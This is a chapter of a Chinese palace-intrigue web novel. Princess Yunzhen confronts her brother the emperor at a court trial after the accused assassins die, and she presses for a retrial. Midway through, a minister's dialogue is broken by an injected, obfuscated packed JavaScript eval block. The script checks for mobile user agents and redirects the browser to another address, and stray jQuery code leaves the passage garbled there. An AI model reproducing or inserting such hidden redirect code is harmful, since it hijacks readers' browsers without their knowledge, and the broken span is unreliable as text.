北宣鲜有朝堂会审的案子，一旦有，便是震动朝野的大案。


    百姓们早早便沿街等候，想一睹从大理寺狱押解出的囚车上究竟关押着何等人物。


    当初和亲的长公主独自归京，已令天下哗然。


    长公主在和亲途中遭遇刺杀，仅她一人侥幸生还，此消息一出，更是令人不寒而栗。


    这究竟是何等深仇大恨，竟下此毒手……


    囚车上的五人被黑布蒙头，瘫软地靠坐在一起。有人带头朝囚车扔出臭鸡蛋，场面顿时失控，随之而来的是如雨点般砸来的菜叶子、馊馒头等。


    百姓们痛骂五人心狠手辣、草菅人命，有些心肠软的，不禁掩面哭泣，痛心那些数不清的冤魂。


    直至囚车行至宫门口，一路跟随囚车的痛骂声和馊菜叶才就此罢休。


    .


    院中依旧鹅黄飘扬，云蓁以往只要见到飞舞的黄花，心情便不会太差，但今日她将孤身与皇权作战，心中不免生出几分担忧，故而眉头紧锁，雪绒为她抚了几次也没用。


    在雪绒眼里，云蓁素来运筹帷幄，今日之态亦让雪绒忧心。


    “殿下……”雪绒蹙眉道。


    云蓁拍拍她的手，扯出一抹笑，“你看你，怎还学本宫蹙眉呢？”


    云蓁一边说着，一边从妆奁最底下拿出一沓银票递给雪绒。雪绒拿木梳的手一顿，不解地望着云蓁。


    云蓁克制着心里的不舍，说道：“这是城南铺子的地契，你拿着这些银票，开店与否全凭你心意，左右这些够你过好日子的。”


    雪绒眸中顿时有了泪光，她扑通一声跪下来，给云蓁连磕了好几个头。


    云蓁赶忙起身扶她，却见雪绒的脸上已挂了两行泪。


    “奴婢若犯错了，殿下可以责罚，求殿下莫要赶奴婢走……”


    云蓁将她扶起，柔声道：“你做得很好，本宫不是赶你走，只是盼你过个风平浪静的日子。”


    雪绒说：“奴婢虽不知殿下究竟有何打算，但奴婢什么都不怕，奴婢永远追随殿下！”


    云蓁望向窗外，在风中飞扬的那些瞬间，是花瓣此生最自由的日子。她想给雪绒自由，但人生终究是自己选的，雪绒既不愿，她便逼不得。


    “本宫要去檀州，山高路远，不知那儿是否如京城一般，是个吃人的龙潭虎穴……”


    云蓁终是把她的计划告诉了雪绒，她话还没说完，雪绒便抢先开了口，生怕云蓁真做出不让她伺候在侧的决定，“奴婢永远记得殿下赐名时说的那句‘盛开在雪山之巅的花’，雪绒花不怕极寒，奴婢也不怕什么龙潭虎穴，就是刀山火海，奴婢照样跟随殿下！”


    云蓁无奈摇摇头，心中却如夏日艳阳，暖极了。


    “傻丫头。”


    雪绒见云蓁不再说那些让她走的话，擦掉脸上的泪，望着云蓁笑出声来。


    云蓁又坐回到铜镜前，语气中有些许坚韧，“今日的装束华丽些吧。”


    雪绒应声：“殿下早该如此了。”


    云蓁虽有着一双温柔的杏眼，但不展笑颜时，眼里有着藏不住的皇室威仪，若再以金翠步摇挽青丝，华服锦衣加身，周身尽散发着一国公主的贵气。


    ·


    今日的天格外阴沉，厚重的乌云低垂，压得人喘不过气来。


    朝堂会审尚未开始，太和殿长阶下的群臣便已心头一震，横生出几分沉重的气氛。


    内侍高喊一声，百官整肃衣冠，依次踏上长阶，步向那象征北宣皇权的太和殿。


    太和殿内，两侧文武官分列而立，肃然无声，唯有殿外风声隐隐传来。


    百官微微侧目朝大殿中央跪着的五个罪犯投去打量的目光。


    五个罪犯被十个侍卫一左一右钳制着，头上仍带着黑布。圣上摆摆手，侍卫们才将罪犯头上的黑布揭去。


    黑布揭下的瞬间，圣上皱了皱眉，文武百官不由得心下一惊。


    罪犯个个紧闭双眼，鼻青脸肿，脸上布满青紫的伤痕，鞭痕交错，已然结痂，触目惊心。这样的惨状出现在庄严肃穆的太和殿上，实在有失体统。


    然则，大理寺也是按律审案，今日亦奉命将罪犯押上殿，君王朝臣就算不忍直视，亦无可奈何。


    蔺聿手持奏章，高声宣读罪状，不似往日温润，今日的他言语间隐隐透着几分不满和不甘，但他极力克制，未让情绪外露，未叫人听出有何不妥。


    文武百官的表情极为精彩，或闻之伤痛，或屏息凝神，或狐疑翘首，亦有少数铁石心肠的，全然一副事不关己的模样。


    圣上静坐于龙椅之上，目光深邃，似在权衡。


    待蔺聿将罪状宣读完毕，高位上忽然传来一声拍案巨响。原本沉浸于案情中的朝臣被这突如其来的声响惊得浑身一颤，赶忙收敛心神，垂眸静候君命。


    云蓁不止一次觉得云启有帝王之气，不怒自威，若他有利天下民之心，会是个明君。


    然而，他有个被权力熏心的母亲，从小在她畸形的教育下，他早就不是刚启蒙时那个心存善意的殿下了。


    于是乎，他对自己的妹妹没有一丝亲情，他要的不是皇妹遇刺的真相，反而是掩盖真相，故而，他对这纸罪状很是满意，却仍要装出一副替那可怜的皇妹打抱不平的样子。


    “尔等仇视皇权，便可对朕的皇妹下杀手，便可屠戮那么多人么？！”


    龙颜大怒，文武百官纷纷垂首，大气不敢喘，想听听这些罪犯死到临头如何狡辩，却等了许久也未闻其声。


    蔺聿佯装伸手探其鼻息，目瞪口呆，结巴道：“死、死了！”


    群臣震惊，朝堂会审的罪犯竟在帝王处置之前就死了，究竟是畏罪自尽还是遭人灭口……


    圣上眯了眯眼，很快便心下了然，这样也好，死人方可守住秘密。


    蔺聿忙跪下，说道：“臣看守不利，请陛下责罚！”


    此事对圣上来说本就是件喜事，更何况此番多亏了蔺聿结案，才算是彻底了结这事，他自然不愿惩处一个“大功臣”。


    一道低沉的嗓音打破沉寂——


    “江


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15138501|160565||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    湖人诡计多端，蔺大人自是难防。”


    要不说沈今鹤是圣上的宠臣呢？圣上一个眼神，他便能完全会意，做了蔺聿的求情者，也好让圣上顺势而为。


    “蔺爱卿审案有功，功过相抵便是。”


    “谢陛下。”


    圣上攥紧拳头，咬牙道：“看来这些恶人是天理难容，阎罗容不得他们多活一刻！将他们拖下去，莫侮了朕的太和殿！”


    “皇兄。”


    殿外一道温柔的声音响起，群臣回首，圣上抬眸，欲将五具死尸拖下殿的侍卫停住了动作。


    那道鹅黄身影步入太和殿中，裙身上勾勒的金线云纹恰与金碧辉煌的殿宇相匹配。她步履莹莹，凤履不时从裙角下探出头来，步摇平稳无大幅晃动。妆容不似往日淡雅，额间多了一枚花钿，朱唇鲜丽，将她衬得格外明媚。


    在百官的齐齐行礼声中，云蓁走至殿中，“参见陛下。”


    “扶音怎么来了？”


    “臣妹作为受害人之一，理应前来旁听。”


    “此案已了结，罪犯死了。”


    “死了？”云蓁惊讶道：“被人灭口？”


    “未必，朕瞧着倒像是畏罪自尽，犯下滔天大罪，他们也无以苟活于世。”


    圣上抬手示意，想让人将几具尸身带走，云蓁却再次制止道：“皇兄不觉得他们死得蹊跷吗？”


    她继续道：“若真是畏罪自尽，何不在蔺大人将其捉拿时便动手？非得尝尝重刑之苦？”


    圣上显然有些不悦，“扶音何意？”


    “臣妹怎么看，他们都是被人灭口的，其中深意不必臣妹多说了吧？”


    “那殿下觉得是何人所为？”


    云蓁心中翻了个白眼，朝说话之人看去，冷声道：“本宫不知，陆大人有何高见？”


    陆见舟从官列里走出来，温声道：“大理寺狱监守森严，怕连一只苍蝇也难以来去自如，更别说殿下口中的灭口之人了。这些人未尝不是受刑后才悟到自己罪孽深重，这才选择自尽吧。”


    “笑话，陆大人还真是天真得很呐！你竟觉得手上沾满鲜血的杀手会自感罪孽深重？”


    “天下之大，凡事皆有可能。”


    陆见舟对上云蓁的目光，依旧一副彬彬有礼、毫无冒犯的样子。


    云蓁恨不得再去古庙走一遭，直接重金雇凶来杀了这狗官。


    云蓁转了视线，“陛下，此案牵扯数条人命，如今罪犯又死于会审之前，疑点重重，”她俯身拱手道：“臣妹恳请重新审理此案！”


    时至此刻，蔺聿方才彻底洞悉云蓁的深谋远虑。


    她不愿将他牵扯其中，故而让他结案，又让他撤下防守，以便她在大殿之上，借五具死尸提出异议，使得案件的疑点公之于众，迫使圣上不得不应允她重审案件的要求。


    然而，云蓁心知肚明，此案重审无望，她今日登上太和殿的目的，非是逼迫圣上允诺，而是让圣上将她逼疯……


    云蓁嘴角的一抹笑转瞬即逝，估摸着毒性快发作了。